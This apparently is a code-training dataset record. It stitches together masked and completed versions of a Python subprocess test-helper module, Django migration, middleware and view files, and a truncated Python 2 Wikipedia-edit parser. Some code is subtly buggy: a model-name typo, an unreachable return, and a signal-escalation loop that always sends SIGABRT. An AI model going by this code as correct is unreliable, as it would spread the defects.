timeout) if merge_streams: if exit != 0: raise CommandError(cmd, exit, out) else: return exit, out elif exit != 0: raise CommandError(cmd, exit, out, err) else: return exit, out, err def run_cmd_wait_nofail(*args, **kwargs): """Same as run_cmd_wait but silence the exception if it happens""" try: return run_cmd_wait(*args, **kwargs) except CommandError as e: return e.code, e.out, e.err def memoize(obj): """Keep an in-memory cache of function results given its inputs """ cache = obj.cache = {} @functools.wraps(obj) def memoizer(*args, **kwargs): key = str(args) + str(kwargs) if key not in cache: cache[key] = obj(*args, **kwargs) return cache[key] return memoizer <mask token> def parse_datafile(file): """Parse .data files, treating files as JSON """ data = [] with open(file) as fh: for line in fh: line = line.rstrip('\n') if line.startswith('[') and line.endswith(']'): line = '{' + line[1:-1] + '}' if line.startswith('{'): data.append(json.loads(line)) else: data.append(line) return data def mkstemp(data): """ Create a temporary file that is removed at process exit """ def rmtemp(name): try: os.remove(name) except OSError: pass f = tempfile.NamedTemporaryFile(delete=False) f.write(data) f.close() atexit.register(rmtemp, f.name) return f.name def mkstemp_exec(data): """Create a temporary executable file that is removed at process exit """ name = mkstemp(data) os.chmod(name, 493) return name
<mask token> def wait_condition(cond, timeout=1, sleeptime=0.01): """Wait for condition to return anything other than None """ if timeout is None: timeout = 1 if timeout < sleeptime: print('Warning, timeout cannot be smaller than', sleeptime) timeout = sleeptime tries = int(timeout / sleeptime) for i in range(tries): val = cond() if val is not None: break sleep(sleeptime) return val def wait_process(pid, timeout=None): """Wait for process to finish """ def process(): try: os.kill(pid, 0) except OSError: return True else: return None return wait_condition(process, timeout) def _queue_output(arguments, pidq, outputq): """Read/Write output/input of given process. This function is meant to be executed in a thread as it may block """ kwargs = arguments['process'] input = arguments['input'] try: proc = Popen(**kwargs) except OSError as e: pidq.put(None) outputq.put(('', "Unexpected exception caught during execution: '{0}' . ".format (e), 255)) return pidq.put(proc.pid) out, err = proc.communicate(input) out, err = out.decode('utf-8'), err.decode('utf-8') outputq.put((out, err, proc.returncode)) def _retrieve_output(thread, timeout, queue, thread_error): """Fetch output from binary subprocess queues """ thread.join(timeout) if thread.isAlive(): raise TimeoutWaitingFor(thread_error + '. Unexpected error') try: data = queue.get(timeout=timeout) except Empty: data = TimeoutWaitingFor('streams from program') return data def _get_output(arguments, timeout=None): """Collect output from the subprocess without blocking the main process if subprocess hangs. """ output_timeout = 0.1 pidq = Queue() outputq = Queue() t = Thread(target=_queue_output, args=(arguments, pidq, outputq)) t.daemon = True t.start() try: pid = pidq.get(timeout=timeout) except Empty: pid = None if pid is None: return _retrieve_output(t, output_timeout, outputq, 'Program to start') state = wait_process(pid, timeout) if state: return _retrieve_output(t, output_timeout, outputq, 'Program thread to join') for sig in (signal.SIGABRT, signal.SIGTERM, signal.SIGKILL): try: os.kill(pid, signal.SIGABRT) except OSError as e: if e.errno != 3: raise state = wait_process(pid, timeout) if state: return _retrieve_output(t, output_timeout, outputq, 'Program to die') raise OSError("Program stopped responding and couldn't be killed") def run_cmd_wait(cmd, input=None, stdout=PIPE, stderr=PIPE, merge_streams= False, env=os.environ, timeout=None): """Run a subprocess and wait for it to finish""" if input is None: stdin = None else: stdin = PIPE if merge_streams: stderr = STDOUT else: stderr = PIPE arguments = {'process': {'args': cmd, 'stdin': stdin, 'stdout': stdout, 'stderr': stderr, 'bufsize': 1, 'close_fds': ON_POSIX, 'env': env}, 'input': input} out, err, exit = _get_output(arguments, timeout) if merge_streams: if exit != 0: raise CommandError(cmd, exit, out) else: return exit, out elif exit != 0: raise CommandError(cmd, exit, out, err) else: return exit, out, err def run_cmd_wait_nofail(*args, **kwargs): """Same as run_cmd_wait but silence the exception if it happens""" try: return run_cmd_wait(*args, **kwargs) except CommandError as e: return e.code, e.out, e.err def memoize(obj): """Keep an in-memory cache of function results given its inputs """ cache = obj.cache = {} @functools.wraps(obj) def memoizer(*args, **kwargs): key = str(args) + str(kwargs) if key not in cache: cache[key] = obj(*args, **kwargs) return cache[key] return memoizer <mask token> def parse_datafile(file): """Parse .data files, treating files as JSON """ data = [] with open(file) as fh: for line in fh: line = line.rstrip('\n') if line.startswith('[') and line.endswith(']'): line = '{' + line[1:-1] + '}' if line.startswith('{'): data.append(json.loads(line)) else: data.append(line) return data def mkstemp(data): """ Create a temporary file that is removed at process exit """ def rmtemp(name): try: os.remove(name) except OSError: pass f = tempfile.NamedTemporaryFile(delete=False) f.write(data) f.close() atexit.register(rmtemp, f.name) return f.name def mkstemp_exec(data): """Create a temporary executable file that is removed at process exit """ name = mkstemp(data) os.chmod(name, 493) return name
<mask token> def shared_binary_location(cmd='shared'): """ ../src/ is used by default. """ return os.path.join(BIN_PREFIX, cmd) return binary_location(cmd, SHARED_USE_PATH) def binary_location(cmd, USE_PATH=False): """ ../src/ is used by default. """ return os.path.join(BIN_PREFIX, cmd) def wait_condition(cond, timeout=1, sleeptime=0.01): """Wait for condition to return anything other than None """ if timeout is None: timeout = 1 if timeout < sleeptime: print('Warning, timeout cannot be smaller than', sleeptime) timeout = sleeptime tries = int(timeout / sleeptime) for i in range(tries): val = cond() if val is not None: break sleep(sleeptime) return val def wait_process(pid, timeout=None): """Wait for process to finish """ def process(): try: os.kill(pid, 0) except OSError: return True else: return None return wait_condition(process, timeout) def _queue_output(arguments, pidq, outputq): """Read/Write output/input of given process. This function is meant to be executed in a thread as it may block """ kwargs = arguments['process'] input = arguments['input'] try: proc = Popen(**kwargs) except OSError as e: pidq.put(None) outputq.put(('', "Unexpected exception caught during execution: '{0}' . ".format (e), 255)) return pidq.put(proc.pid) out, err = proc.communicate(input) out, err = out.decode('utf-8'), err.decode('utf-8') outputq.put((out, err, proc.returncode)) def _retrieve_output(thread, timeout, queue, thread_error): """Fetch output from binary subprocess queues """ thread.join(timeout) if thread.isAlive(): raise TimeoutWaitingFor(thread_error + '. Unexpected error') try: data = queue.get(timeout=timeout) except Empty: data = TimeoutWaitingFor('streams from program') return data def _get_output(arguments, timeout=None): """Collect output from the subprocess without blocking the main process if subprocess hangs. """ output_timeout = 0.1 pidq = Queue() outputq = Queue() t = Thread(target=_queue_output, args=(arguments, pidq, outputq)) t.daemon = True t.start() try: pid = pidq.get(timeout=timeout) except Empty: pid = None if pid is None: return _retrieve_output(t, output_timeout, outputq, 'Program to start') state = wait_process(pid, timeout) if state: return _retrieve_output(t, output_timeout, outputq, 'Program thread to join') for sig in (signal.SIGABRT, signal.SIGTERM, signal.SIGKILL): try: os.kill(pid, signal.SIGABRT) except OSError as e: if e.errno != 3: raise state = wait_process(pid, timeout) if state: return _retrieve_output(t, output_timeout, outputq, 'Program to die') raise OSError("Program stopped responding and couldn't be killed") def run_cmd_wait(cmd, input=None, stdout=PIPE, stderr=PIPE, merge_streams= False, env=os.environ, timeout=None): """Run a subprocess and wait for it to finish""" if input is None: stdin = None else: stdin = PIPE if merge_streams: stderr = STDOUT else: stderr = PIPE arguments = {'process': {'args': cmd, 'stdin': stdin, 'stdout': stdout, 'stderr': stderr, 'bufsize': 1, 'close_fds': ON_POSIX, 'env': env}, 'input': input} out, err, exit = _get_output(arguments, timeout) if merge_streams: if exit != 0: raise CommandError(cmd, exit, out) else: return exit, out elif exit != 0: raise CommandError(cmd, exit, out, err) else: return exit, out, err def run_cmd_wait_nofail(*args, **kwargs): """Same as run_cmd_wait but silence the exception if it happens""" try: return run_cmd_wait(*args, **kwargs) except CommandError as e: return e.code, e.out, e.err def memoize(obj): """Keep an in-memory cache of function results given its inputs """ cache = obj.cache = {} @functools.wraps(obj) def memoizer(*args, **kwargs): key = str(args) + str(kwargs) if key not in cache: cache[key] = obj(*args, **kwargs) return cache[key] return memoizer <mask token> def parse_datafile(file): """Parse .data files, treating files as JSON """ data = [] with open(file) as fh: for line in fh: line = line.rstrip('\n') if line.startswith('[') and line.endswith(']'): line = '{' + line[1:-1] + '}' if line.startswith('{'): data.append(json.loads(line)) else: data.append(line) return data def mkstemp(data): """ Create a temporary file that is removed at process exit """ def rmtemp(name): try: os.remove(name) except OSError: pass f = tempfile.NamedTemporaryFile(delete=False) f.write(data) f.close() atexit.register(rmtemp, f.name) return f.name def mkstemp_exec(data): """Create a temporary executable file that is removed at process exit """ name = mkstemp(data) os.chmod(name, 493) return name
<mask token> ON_POSIX = 'posix' in sys.builtin_module_names CURRENT_DIR = os.path.dirname(os.path.abspath(__file__)) BIN_PREFIX = os.path.abspath(os.path.join(CURRENT_DIR, '..', '..', 'src')) DEFAULT_CERT_PATH = os.path.abspath(os.path.join(CURRENT_DIR, '..', 'test_certs')) DEFAULT_EXTENSION_PATH = os.path.abspath(os.path.join(CURRENT_DIR, '..', 'test_extensions')) SHARED_SKIP = os.environ.get('SHARED_SKIP', False) SHARED_USE_PATH = os.environ.get('SHARED_USE_PATH', False) UUID_REGEXP = '[0-9A-Fa-f]{8}-' + '[0-9A-Fa-f]{4}-' * 3 + '[0-9A-Fa-f]{12}' def shared_binary_location(cmd='shared'): """ ../src/ is used by default. """ return os.path.join(BIN_PREFIX, cmd) return binary_location(cmd, SHARED_USE_PATH) def binary_location(cmd, USE_PATH=False): """ ../src/ is used by default. """ return os.path.join(BIN_PREFIX, cmd) def wait_condition(cond, timeout=1, sleeptime=0.01): """Wait for condition to return anything other than None """ if timeout is None: timeout = 1 if timeout < sleeptime: print('Warning, timeout cannot be smaller than', sleeptime) timeout = sleeptime tries = int(timeout / sleeptime) for i in range(tries): val = cond() if val is not None: break sleep(sleeptime) return val def wait_process(pid, timeout=None): """Wait for process to finish """ def process(): try: os.kill(pid, 0) except OSError: return True else: return None return wait_condition(process, timeout) def _queue_output(arguments, pidq, outputq): """Read/Write output/input of given process. This function is meant to be executed in a thread as it may block """ kwargs = arguments['process'] input = arguments['input'] try: proc = Popen(**kwargs) except OSError as e: pidq.put(None) outputq.put(('', "Unexpected exception caught during execution: '{0}' . ".format (e), 255)) return pidq.put(proc.pid) out, err = proc.communicate(input) out, err = out.decode('utf-8'), err.decode('utf-8') outputq.put((out, err, proc.returncode)) def _retrieve_output(thread, timeout, queue, thread_error): """Fetch output from binary subprocess queues """ thread.join(timeout) if thread.isAlive(): raise TimeoutWaitingFor(thread_error + '. Unexpected error') try: data = queue.get(timeout=timeout) except Empty: data = TimeoutWaitingFor('streams from program') return data def _get_output(arguments, timeout=None): """Collect output from the subprocess without blocking the main process if subprocess hangs. """ output_timeout = 0.1 pidq = Queue() outputq = Queue() t = Thread(target=_queue_output, args=(arguments, pidq, outputq)) t.daemon = True t.start() try: pid = pidq.get(timeout=timeout) except Empty: pid = None if pid is None: return _retrieve_output(t, output_timeout, outputq, 'Program to start') state = wait_process(pid, timeout) if state: return _retrieve_output(t, output_timeout, outputq, 'Program thread to join') for sig in (signal.SIGABRT, signal.SIGTERM, signal.SIGKILL): try: os.kill(pid, signal.SIGABRT) except OSError as e: if e.errno != 3: raise state = wait_process(pid, timeout) if state: return _retrieve_output(t, output_timeout, outputq, 'Program to die') raise OSError("Program stopped responding and couldn't be killed") def run_cmd_wait(cmd, input=None, stdout=PIPE, stderr=PIPE, merge_streams= False, env=os.environ, timeout=None): """Run a subprocess and wait for it to finish""" if input is None: stdin = None else: stdin = PIPE if merge_streams: stderr = STDOUT else: stderr = PIPE arguments = {'process': {'args': cmd, 'stdin': stdin, 'stdout': stdout, 'stderr': stderr, 'bufsize': 1, 'close_fds': ON_POSIX, 'env': env}, 'input': input} out, err, exit = _get_output(arguments, timeout) if merge_streams: if exit != 0: raise CommandError(cmd, exit, out) else: return exit, out elif exit != 0: raise CommandError(cmd, exit, out, err) else: return exit, out, err def run_cmd_wait_nofail(*args, **kwargs): """Same as run_cmd_wait but silence the exception if it happens""" try: return run_cmd_wait(*args, **kwargs) except CommandError as e: return e.code, e.out, e.err def memoize(obj): """Keep an in-memory cache of function results given its inputs """ cache = obj.cache = {} @functools.wraps(obj) def memoizer(*args, **kwargs): key = str(args) + str(kwargs) if key not in cache: cache[key] = obj(*args, **kwargs) return cache[key] return memoizer <mask token> which = memoize(which) def parse_datafile(file): """Parse .data files, treating files as JSON """ data = [] with open(file) as fh: for line in fh: line = line.rstrip('\n') if line.startswith('[') and line.endswith(']'): line = '{' + line[1:-1] + '}' if line.startswith('{'): data.append(json.loads(line)) else: data.append(line) return data def mkstemp(data): """ Create a temporary file that is removed at process exit """ def rmtemp(name): try: os.remove(name) except OSError: pass f = tempfile.NamedTemporaryFile(delete=False) f.write(data) f.close() atexit.register(rmtemp, f.name) return f.name def mkstemp_exec(data): """Create a temporary executable file that is removed at process exit """ name = mkstemp(data) os.chmod(name, 493) return name
# -*- coding: utf-8 -*- import os import sys import socket import signal import functools import atexit import tempfile from subprocess import Popen, PIPE, STDOUT from threading import Thread from queue import Queue, Empty from time import sleep import json from .exceptions import CommandError, TimeoutWaitingFor ON_POSIX = 'posix' in sys.builtin_module_names # Directory relative to basetest module location CURRENT_DIR = os.path.dirname(os.path.abspath(__file__)) # Location of binary files (usually the src/ folder) BIN_PREFIX = os.path.abspath( os.path.join(CURRENT_DIR, "..", "..", "src") ) # Default location of test certificates DEFAULT_CERT_PATH = os.path.abspath( os.path.join(CURRENT_DIR, "..", "test_certs") ) # Default location of test extensions DEFAULT_EXTENSION_PATH = os.path.abspath( os.path.join(CURRENT_DIR, "..", "test_extensions") ) # Environment flags to control skipping of shared tests SHARED_SKIP = os.environ.get("SHARED_SKIP", False) # Environment flags to control use of PATH or in-tree binaries SHARED_USE_PATH = os.environ.get("SHARED_USE_PATH", False) UUID_REGEXP = ("[0-9A-Fa-f]{8}-" + ("[0-9A-Fa-f]{4}-" * 3) + "[0-9A-Fa-f]{12}") def shared_binary_location(cmd="shared"): """ ../src/ is used by default. """ return os.path.join(BIN_PREFIX, cmd) return binary_location(cmd, SHARED_USE_PATH) def binary_location(cmd, USE_PATH=False): """ ../src/ is used by default. """ return os.path.join(BIN_PREFIX, cmd) def wait_condition(cond, timeout=1, sleeptime=.01): """Wait for condition to return anything other than None """ # NOTE Increasing sleeptime can dramatically increase testsuite runtime # It also reduces CPU load significantly if timeout is None: timeout = 1 if timeout < sleeptime: print("Warning, timeout cannot be smaller than", sleeptime) timeout = sleeptime # Max number of attempts until giving up tries = int(timeout / sleeptime) for i in range(tries): val = cond() if val is not None: break sleep(sleeptime) return val def wait_process(pid, timeout=None): """Wait for process to finish """ def process(): try: os.kill(pid, 0) except OSError: # Process is dead return True else: # Process is still ticking return None return wait_condition(process, timeout) def _queue_output(arguments, pidq, outputq): """Read/Write output/input of given process. This function is meant to be executed in a thread as it may block """ kwargs = arguments["process"] input = arguments["input"] try: proc = Popen(**kwargs) except OSError as e: # pid None is read by the main thread as a crash of the process pidq.put(None) outputq.put(( "", ("Unexpected exception caught during execution: '{0}' . ".format(e)), 255)) # false exitcode return # Put the PID in the queue for main process to know. pidq.put(proc.pid) # Send input and wait for finish out, err = proc.communicate(input) out, err = out.decode('utf-8'), err.decode('utf-8') # Give the output back to the caller outputq.put((out, err, proc.returncode)) def _retrieve_output(thread, timeout, queue, thread_error): """Fetch output from binary subprocess queues """ # Try to join the thread on failure abort thread.join(timeout) if thread.isAlive(): # Join should have killed the thread. This is unexpected raise TimeoutWaitingFor(thread_error + ". Unexpected error") # Thread died so we should have output try: # data = (stdout, stderr, exitcode) data = queue.get(timeout=timeout) except Empty: data = TimeoutWaitingFor("streams from program") return data def _get_output(arguments, timeout=None): """Collect output from the subprocess without blocking the main process if subprocess hangs. """ # NOTE Increase this value if tests fail with None being received as # stdout/stderr instead of the expected content output_timeout = 0.1 # seconds pidq = Queue() outputq = Queue() t = Thread(target=_queue_output, args=(arguments, pidq, outputq)) t.daemon = True t.start() try: pid = pidq.get(timeout=timeout) except Empty: pid = None # Process crashed or timed out for some reason if pid is None: return _retrieve_output(t, output_timeout, outputq, "Program to start") # Wait for process to finish (normal execution) state = wait_process(pid, timeout) if state: # Process finished return _retrieve_output(t, output_timeout, outputq, "Program thread to join") # If we reach this point we assume the process got stuck or timed out for sig in (signal.SIGABRT, signal.SIGTERM, signal.SIGKILL): # Start with lower signals and escalate if process ignores them try: os.kill(pid, signal.SIGABRT) except OSError as e: # 3 means the process finished/died between last check and now if e.errno != 3: raise # Wait for process to finish (should die/exit after signal) state = wait_process(pid, timeout) if state: # Process finished return _retrieve_output(t, output_timeout, outputq, "Program to die") # This should never happen but in case something goes really bad raise OSError("Program stopped responding and couldn't be killed") def run_cmd_wait(cmd, input=None, stdout=PIPE, stderr=PIPE, merge_streams=False, env=os.environ, timeout=None): "Run a subprocess and wait for it to finish" if input is None: stdin = None else: stdin = PIPE if merge_streams: stderr = STDOUT else: stderr = PIPE arguments = { "process": { "args": cmd, "stdin": stdin, "stdout": stdout, "stderr": stderr, "bufsize": 1, "close_fds": ON_POSIX, "env": env, }, "input": input, } out, err, exit = _get_output(arguments, timeout) if merge_streams: if exit != 0: raise CommandError(cmd, exit, out) else: return exit, out else: if exit != 0: raise CommandError(cmd, exit, out, err) else: return exit, out, err def run_cmd_wait_nofail(*args, **kwargs): """Same as run_cmd_wait but silence the exception if it happens""" try: return run_cmd_wait(*args, **kwargs) except CommandError as e: return e.code, e.out, e.err def memoize(obj): """Keep an in-memory cache of function results given its inputs """ cache = obj.cache = {} @functools.wraps(obj) def memoizer(*args, **kwargs): key = str(args) + str(kwargs) if key not in cache: cache[key] = obj(*args, **kwargs) return cache[key] return memoizer from shutil import which which = memoize(which) def parse_datafile(file): """Parse .data files, treating files as JSON """ data = [] with open(file) as fh: for line in fh: line = line.rstrip("\n") # Turn [] strings into {} to be treated properly as JSON hashes if line.startswith('[') and line.endswith(']'): line = '{' + line[1:-1] + '}' if line.startswith("{"): data.append(json.loads(line)) else: data.append(line) return data def mkstemp(data): """ Create a temporary file that is removed at process exit """ def rmtemp(name): try: os.remove(name) except OSError: pass f = tempfile.NamedTemporaryFile(delete=False) f.write(data) f.close() # Ensure removal at end of python session atexit.register(rmtemp, f.name) return f.name def mkstemp_exec(data): """Create a temporary executable file that is removed at process exit """ name = mkstemp(data) os.chmod(name, 0o755) return name # vim: ai sts=4 et sw=4
[ 10, 11, 13, 14, 16 ]
9,916
87a4fcb26464925952dde57fecf4709f01e9fed7
<mask token> class AjaxableResponseMixin: <mask token> <mask token> <mask token> class EditorHomeView(LoginRequiredMixin, AjaxableResponseMixin, CreateView): form_class = EditorTextForm model = EditorText def get_context_data(self, **kwargs): context = super().get_context_data(**kwargs) context['recent_texts'] = EditorText.objects.filter(created_by=self .request.user)[:5] return context def get_object(self): pk = self.request.POST.get('pk') if not pk: return None return EdidorText.objects.get(pk=int(pk)) def form_valid(self, form): form.instance.created_by = self.request.user return super().form_valid(form) def get_form_kwargs(self): """Return the keyword arguments for instantiating the form.""" self.object = self.get_object() kwargs = super().get_form_kwargs() return kwargs
<mask token> class AjaxableResponseMixin: <mask token> def form_invalid(self, form): response = super().form_invalid(form) if self.request.is_ajax(): return JsonResponse(form.errors, status=400) else: return response def form_valid(self, form): response = super().form_valid(form) if self.request.is_ajax(): data = {'pk': self.object.pk} return JsonResponse(data) else: return response class EditorHomeView(LoginRequiredMixin, AjaxableResponseMixin, CreateView): form_class = EditorTextForm model = EditorText def get_context_data(self, **kwargs): context = super().get_context_data(**kwargs) context['recent_texts'] = EditorText.objects.filter(created_by=self .request.user)[:5] return context def get_object(self): pk = self.request.POST.get('pk') if not pk: return None return EdidorText.objects.get(pk=int(pk)) def form_valid(self, form): form.instance.created_by = self.request.user return super().form_valid(form) def get_form_kwargs(self): """Return the keyword arguments for instantiating the form.""" self.object = self.get_object() kwargs = super().get_form_kwargs() return kwargs
<mask token> class AjaxableResponseMixin: """ Mixin to add AJAX support to a form. Must be used with an object-based FormView (e.g. CreateView) """ def form_invalid(self, form): response = super().form_invalid(form) if self.request.is_ajax(): return JsonResponse(form.errors, status=400) else: return response def form_valid(self, form): response = super().form_valid(form) if self.request.is_ajax(): data = {'pk': self.object.pk} return JsonResponse(data) else: return response class EditorHomeView(LoginRequiredMixin, AjaxableResponseMixin, CreateView): form_class = EditorTextForm model = EditorText def get_context_data(self, **kwargs): context = super().get_context_data(**kwargs) context['recent_texts'] = EditorText.objects.filter(created_by=self .request.user)[:5] return context def get_object(self): pk = self.request.POST.get('pk') if not pk: return None return EdidorText.objects.get(pk=int(pk)) def form_valid(self, form): form.instance.created_by = self.request.user return super().form_valid(form) def get_form_kwargs(self): """Return the keyword arguments for instantiating the form.""" self.object = self.get_object() kwargs = super().get_form_kwargs() return kwargs
from django.contrib.auth.mixins import LoginRequiredMixin from django.http import JsonResponse from django.views.generic import CreateView, UpdateView, ListView, DeleteView, TemplateView from example.forms import EditorTextForm from example.models import EdidorText class AjaxableResponseMixin: """ Mixin to add AJAX support to a form. Must be used with an object-based FormView (e.g. CreateView) """ def form_invalid(self, form): response = super().form_invalid(form) if self.request.is_ajax(): return JsonResponse(form.errors, status=400) else: return response def form_valid(self, form): response = super().form_valid(form) if self.request.is_ajax(): data = {'pk': self.object.pk} return JsonResponse(data) else: return response class EditorHomeView(LoginRequiredMixin, AjaxableResponseMixin, CreateView): form_class = EditorTextForm model = EditorText def get_context_data(self, **kwargs): context = super().get_context_data(**kwargs) context['recent_texts'] = EditorText.objects.filter(created_by=self .request.user)[:5] return context def get_object(self): pk = self.request.POST.get('pk') if not pk: return None return EdidorText.objects.get(pk=int(pk)) def form_valid(self, form): form.instance.created_by = self.request.user return super().form_valid(form) def get_form_kwargs(self): """Return the keyword arguments for instantiating the form.""" self.object = self.get_object() kwargs = super().get_form_kwargs() return kwargs
from django.contrib.auth.mixins import LoginRequiredMixin from django.http import JsonResponse from django.views.generic import CreateView, UpdateView, ListView, \ DeleteView, TemplateView from example.forms import EditorTextForm from example.models import EdidorText class AjaxableResponseMixin: """ Mixin to add AJAX support to a form. Must be used with an object-based FormView (e.g. CreateView) """ def form_invalid(self, form): response = super().form_invalid(form) if self.request.is_ajax(): return JsonResponse(form.errors, status=400) else: return response def form_valid(self, form): # We make sure to call the parent's form_valid() method because # it might do some processing (in the case of CreateView, it will # call form.save() for example). response = super().form_valid(form) if self.request.is_ajax(): data = { 'pk': self.object.pk, } return JsonResponse(data) else: return response class EditorHomeView(LoginRequiredMixin, AjaxableResponseMixin, CreateView): form_class = EditorTextForm model = EditorText def get_context_data(self, **kwargs): context = super().get_context_data(**kwargs) context['recent_texts'] = EditorText.objects.filter( created_by=self.request.user )[:5] return context def get_object(self): pk = self.request.POST.get('pk') if not pk: return None return EdidorText.objects.get(pk=int(pk)) def form_valid(self, form): form.instance.created_by = self.request.user return super().form_valid(form) def get_form_kwargs(self): """Return the keyword arguments for instantiating the form.""" self.object = self.get_object() kwargs = super().get_form_kwargs() return kwargs
[ 7, 9, 10, 11, 12 ]
9,917
9555ed63b3906ec23c31839691a089aad9d96c63
<mask token>
<mask token> class Migration(migrations.Migration): <mask token> <mask token>
<mask token> class Migration(migrations.Migration): dependencies = [('training_area', '0002_event')] operations = [migrations.AddField(model_name='event', name='athlete', field=models.ForeignKey(blank=True, null=True, on_delete=django.db. models.deletion.CASCADE, related_name='athlete_calendar', to= 'training_area.Athlete')), migrations.AddField(model_name='event', name='coach', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name= 'coach_calendar', to='training_area.Coach'))]
from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [('training_area', '0002_event')] operations = [migrations.AddField(model_name='event', name='athlete', field=models.ForeignKey(blank=True, null=True, on_delete=django.db. models.deletion.CASCADE, related_name='athlete_calendar', to= 'training_area.Athlete')), migrations.AddField(model_name='event', name='coach', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name= 'coach_calendar', to='training_area.Coach'))]
# Generated by Django 2.1.7 on 2019-03-14 07:27 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('training_area', '0002_event'), ] operations = [ migrations.AddField( model_name='event', name='athlete', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='athlete_calendar', to='training_area.Athlete'), ), migrations.AddField( model_name='event', name='coach', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='coach_calendar', to='training_area.Coach'), ), ]
[ 0, 1, 2, 3, 4 ]
9,918
2eddd446dc59695b185be368b359bae78a868b90
##Problem 10 «The number of even elements of the sequence» (Medium) ##Statement ##Determine the number of even elements in the sequence ending with the number 0. a = True i = 0 while a is True:      x = int(input())      if x != 0:         if x%2 == 0:          i = i+1      else:         a =False print(i)
null
null
null
null
[ 0 ]
9,919
839d4182663983a03975465d3909631bd6db1d83
<mask token> class TimezoneMiddleware(object): <mask token> <mask token>
<mask token> class TimezoneMiddleware(object): <mask token> def process_request(self, request): user = request.user if hasattr(user, 'profile'): user_tz = user.profile.timezone timezone.activate(pytz.timezone(user_tz)) else: timezone.activate(pytz.timezone('UTC'))
<mask token> class TimezoneMiddleware(object): """ Middleware to get user's timezone and activate timezone if user timezone is not available default value 'UTC' is activated """ def process_request(self, request): user = request.user if hasattr(user, 'profile'): user_tz = user.profile.timezone timezone.activate(pytz.timezone(user_tz)) else: timezone.activate(pytz.timezone('UTC'))
import pytz from django.utils import timezone class TimezoneMiddleware(object): """ Middleware to get user's timezone and activate timezone if user timezone is not available default value 'UTC' is activated """ def process_request(self, request): user = request.user if hasattr(user, 'profile'): user_tz = user.profile.timezone timezone.activate(pytz.timezone(user_tz)) else: timezone.activate(pytz.timezone('UTC'))
import pytz from django.utils import timezone class TimezoneMiddleware(object): """ Middleware to get user's timezone and activate timezone if user timezone is not available default value 'UTC' is activated """ def process_request(self, request): user = request.user if hasattr(user, 'profile'): user_tz = user.profile.timezone timezone.activate(pytz.timezone(user_tz)) else: timezone.activate(pytz.timezone('UTC'))
[ 1, 2, 3, 4, 5 ]
9,920
f6b2169a4644f4f39bbdebd9bb9c7cc637b54f8b
<mask token>
<mask token> def main(): format_string = '%s %s %s %s %s %s %s %s %s\n' while True: edit = [sys.stdin.readline() for i in range(14)] if edit[13] == '': break revision = edit[0].split(' ') article_id, rev_id, title, timestamp, username, user_id = ('a' + revision[1], 'e' + revision[2], revision[3], revision[4], revision[5], 'u' + revision[6].strip()) if user_id.startswith('uip'): continue category_line = edit[1].split(' ') if len(category_line) != 1: category = category_line[1].strip() else: category = '' minor = edit[11].split(' ')[1].strip() word_count = edit[12].split(' ')[1].strip() outline = format_string % (article_id, rev_id, user_id, username, title, timestamp, category, minor, word_count) sys.stdout.write(outline) <mask token>
<mask token> def main(): format_string = '%s %s %s %s %s %s %s %s %s\n' while True: edit = [sys.stdin.readline() for i in range(14)] if edit[13] == '': break revision = edit[0].split(' ') article_id, rev_id, title, timestamp, username, user_id = ('a' + revision[1], 'e' + revision[2], revision[3], revision[4], revision[5], 'u' + revision[6].strip()) if user_id.startswith('uip'): continue category_line = edit[1].split(' ') if len(category_line) != 1: category = category_line[1].strip() else: category = '' minor = edit[11].split(' ')[1].strip() word_count = edit[12].split(' ')[1].strip() outline = format_string % (article_id, rev_id, user_id, username, title, timestamp, category, minor, word_count) sys.stdout.write(outline) if __name__ == '__main__': main()
import sys def main(): format_string = '%s %s %s %s %s %s %s %s %s\n' while True: edit = [sys.stdin.readline() for i in range(14)] if edit[13] == '': break revision = edit[0].split(' ') article_id, rev_id, title, timestamp, username, user_id = ('a' + revision[1], 'e' + revision[2], revision[3], revision[4], revision[5], 'u' + revision[6].strip()) if user_id.startswith('uip'): continue category_line = edit[1].split(' ') if len(category_line) != 1: category = category_line[1].strip() else: category = '' minor = edit[11].split(' ')[1].strip() word_count = edit[12].split(' ')[1].strip() outline = format_string % (article_id, rev_id, user_id, username, title, timestamp, category, minor, word_count) sys.stdout.write(outline) if __name__ == '__main__': main()
import sys def main(): # String to format output format_string = "%s %s %s %s %s %s %s %s %s\n" while True: # Read 14 lines at a time from stdin for wikipedia dataset edit = [sys.stdin.readline() for i in range(14)] # Break if we've reached the end of stdin if edit[13] == "": break # Parse data from revision line revision = edit[0].split(' ') article_id,rev_id,title,timestamp,username,user_id = 'a'+revision[1],'e'+revision[2],revision[3],revision[4],revision[5],'u'+revision[6].strip() # Ignore anonymous edits if user_id.startswith('uip'): continue # Parse article category category_line = edit[1].split(' ') if len(category_line) != 1: category = category_line[1].strip() else: category = "" # Parse whether edit is minor and number of words edited minor = edit[11].split(' ')[1].strip() word_count = edit[12].split(' ')[1].strip() # Create output line and write to stdout outline = format_string % (article_id,rev_id,user_id,username,title,timestamp,category,minor,word_count) sys.stdout.write(outline) if __name__ == '__main__': main()
[ 0, 1, 2, 3, 4 ]
9,921
05f5931a53c9916f151f42910575f9c5533bfceb
import sys import HTSeq import re import string import glob import os import time import difflib import argparse def parse_input(): parser = argparse.ArgumentParser(description=""" USAGE: python make_figs.py -f data_file """) # If the -b option is used, tRNAs with no tails are not counted. # This speeds up the removal of duplicates for large datasets #parser.add_option("-b", "--blanks", action="store_false", dest="includeBlankTails", default=True) parser.add_argument("-f", "--data_file", action="store", dest="data_file", help="Filename of data.") args = parser.parse_args() return args def write_most_common_tails(inserts, base_filename, control=False): for exp in inserts: with open("%s_%s" % (base_filename, os.path.basename(exp).rstrip('.inserts').rstrip( '.fastq')), 'w') as f: if(not control): lines = inserts[exp].write_table_of_most_common_tails(control) if(control): lines = inserts[exp].write_table_of_most_common_tails( control, get_pvalues=True) f.write(lines) def parse_data_file(filename): data = {} print "Opening %s with file size %i..." % ( filename, os.path.getsize(filename)) with open(filename, 'r') as f: dataset = "" for li in f: #print li s = li.strip('\n').split('\t') m = re.match(r'number tails in ([^:]+):.*', li) if(m is not None): dataset = m.group(1) dataset = os.path.basename(dataset) cur_dataset = dataset data[dataset] = {'n_tails': s[1:]} continue m = re.match(r'([AGCTN]):.*', 